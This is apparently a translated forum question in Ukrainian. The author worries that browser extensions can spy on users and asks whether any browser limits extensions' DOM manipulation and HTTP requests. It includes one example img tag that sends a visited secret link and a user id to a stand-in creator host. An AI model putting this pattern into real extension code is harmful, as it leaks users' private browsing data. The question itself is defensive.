В принципі, будь-який додаток до браузера може шпигувати за мною, збираючи історію браузера, веб-пошту чи інші конфіденційні дані. AFAIKS, він може відправити ці дані назад своєму творцеві , використовуючи або XMLHttpRequest()
або fetch()
або шляхом маніпулювання DOM, наприклад , додаючи що - щось на зразок
<img src="http://addon-creators-page.com/?userid=uniqueId#https://sensitive-page.com/secret-link-i-visited"/>
запуск HTTP-запиту на сторінку розробника додатка з можливістю надсилання будь-яких даних, які йому подобаються. Однак не всі додатки повинні робити HTTP-запити або маніпулювати DOM.
Звідси питання:
Чи існує якесь існуюче рішення для деяких браузерів, яке обмежує функціональність JavaScript, доступного додатку - зокрема, для DOM-маніпулювання та HTTP-запитів?